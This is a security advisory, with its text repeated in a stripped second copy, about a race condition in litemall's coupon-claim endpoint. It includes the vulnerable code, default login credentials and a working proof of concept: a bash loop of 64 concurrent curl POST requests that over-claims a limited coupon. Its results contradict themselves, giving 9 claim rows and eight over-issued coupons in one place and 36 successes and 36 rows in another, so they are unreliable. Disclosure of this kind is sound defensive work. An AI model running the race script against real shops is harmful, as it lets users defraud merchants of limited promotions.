linlinjava/litemall has a TOCTOU race in POST /wx/coupon/receive. A coupon seeded with total=1 and limit=1 produced 9 claim rows after 64 concurrent requests.
Details
WxCouponController.receive counts existing claims, checks total and the per-user limit, then inserts a claim without a transactionally atomic reservation (litemall-wx-api/.../WxCouponController.java:192-203,228-244).
Integer totalCoupons = couponUserService.countCoupon(couponId);
if (totalCoupons >= total) return couponExceedLimit;
Integer userCoupons = couponUserService.countUserAndCoupon(userId, couponId);
if (userCoupons >= limit) return couponExceedLimit;
couponUserService.add(couponUser);
PoC
Deploy the real litemall application with MySQL 8. Login as user123/user123 and use the returned token.
NORMAL — two sequential requests for coupon 1001 returned:
{"errno":0,"errmsg":"成功"}
{"errno":740,"errmsg":"优惠券已领完"}
VULNERABLE — clear only the local test coupon rows, then send 64 concurrent requests:
for i in $(seq 1 64); do
curl -s -X POST 'http://127.0.0.1:18182/wx/coupon/receive' \
-H "X-Litemall-Token: $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"couponId":1001}' > "/tmp/litemall-race-$i.out" &
done
wait
Observed response distribution: 36 success responses. A query executed with docker compose exec db returned 36 rows for coupon 1001 although total=1 and limit=1.
Impact
An authenticated user can obtain more instances of a limited coupon than the configured global and per-user limits. The observed run over-issued eight coupons.
Suggested Fix
Reserve the coupon with an atomic conditional update or a transaction protected by a unique constraint and a locked counter. Return failure when the reservation affects no row.
linlinjava/litemall has a TOCTOU race in
POST /wx/coupon/receive. A coupon seeded withtotal=1andlimit=1produced 9 claim rows after 64 concurrent requests.Details
WxCouponController.receivecounts existing claims, checkstotaland the per-userlimit, then inserts a claim without a transactionally atomic reservation (litemall-wx-api/.../WxCouponController.java:192-203,228-244).PoC
Deploy the real litemall application with MySQL 8. Login as
user123/user123and use the returned token.NORMAL — two sequential requests for coupon
1001returned:VULNERABLE — clear only the local test coupon rows, then send 64 concurrent requests:
Observed response distribution:
36success responses. A query executed withdocker compose exec dbreturned36rows for coupon1001althoughtotal=1andlimit=1.Impact
An authenticated user can obtain more instances of a limited coupon than the configured global and per-user limits. The observed run over-issued eight coupons.
Suggested Fix
Reserve the coupon with an atomic conditional update or a transaction protected by a unique constraint and a locked counter. Return failure when the reservation affects no row.